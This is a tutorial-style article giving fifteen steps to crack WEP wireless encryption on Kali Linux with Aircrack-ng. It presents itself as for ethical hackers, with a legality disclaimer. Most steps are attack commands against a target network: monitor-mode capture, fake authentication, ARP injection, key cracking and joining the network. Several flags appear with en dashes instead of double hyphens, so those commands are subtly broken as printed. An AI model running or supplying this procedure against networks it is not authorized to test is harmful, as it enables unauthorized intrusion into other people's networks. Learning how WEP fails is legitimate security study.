Introduction

Wired Equivalent Privacy (WEP) is a security protocol designed for wireless networks. Although it’s now considered obsolete and insecure, some networks still use WEP encryption. This article will guide you through 15 steps on how to break WEP encryption, which can be helpful for ethical hackers and network administrators to test the vulnerabilities of their network.

Before proceeding, please note that breaking WEP encryption without authorization is illegal and may lead to criminal charges. Only perform these steps if you have permission from the network owner or if it’s your network.

Steps

1. Gather necessary tools:

– A computer with a wireless card that supports packet injection

– Kali Linux operating system

– Aircrack-ng suite installed

2. Boot up your Kali Linux OS and open a terminal window.

3. Update your package repositories with the command:

sudo apt-get update

4. Install the Aircrack-ng suite with the following command:

sudo apt-get install aircrack-ng

5. Identify your wireless card with the command:

iwconfig

6. Place your wireless card into monitor mode using this command, replacing ‘wlan0’ with your card’s identifier:

sudo airmon-ng start wlan0

7. Start capturing packets by running the following command, replacing ‘mon0’ with the name of your monitoring interface:

sudo airodump-ng mon0

8. Locate the target network’s BSSID (MAC address) and channel number.

9. Capture IVs (Initialization Vectors) by running this command, replacing ‘BSSID’, ‘–channel’, and ‘filename’:

sudo airodump-ng –bssid [BSSID] –channel [channel] –write [filename] mon0

10. Execute a fake authentication attack on the target network with this command, replacing ‘BSSID’ and ‘–essid’:

sudo aireplay-ng -1 0 -a [BSSID] –essid [ESSID] mon0

11. Inject ARP requests into the target network to speed up IV collection using this command, replacing ‘BSSID’:

sudo aireplay-ng -3 -b [BSSID] mon0

12. Wait for at least 20,000 IVs to be collected. This can be monitored in the airodump-ng terminal window.

13. Crack the WEP key with Aircrack-ng by running this command, replacing ‘filename’:

sudo aircrack-ng [filename]-01.cap

14. If successful, Aircrack-ng will display the cracked WEP key in hexadecimal format.

15. Connect to the target network with the cracked WEP key and gain authorized access. Remember your responsibility as an ethical hacker or network administrator to report any security vulnerabilities you find.

Conclusion

Breaking WEP encryption is a relatively simple process with the right tools and permissions. By understanding how WEP encryption can be cracked, you can better secure your own wireless networks by either upgrading to a more robust security protocol (such as WPA2) or implementing additional layers of protection. While WEP is no longer recommended for securing wireless networks, learning how it’s broken can still provide valuable insight into network security and vulnerability testing.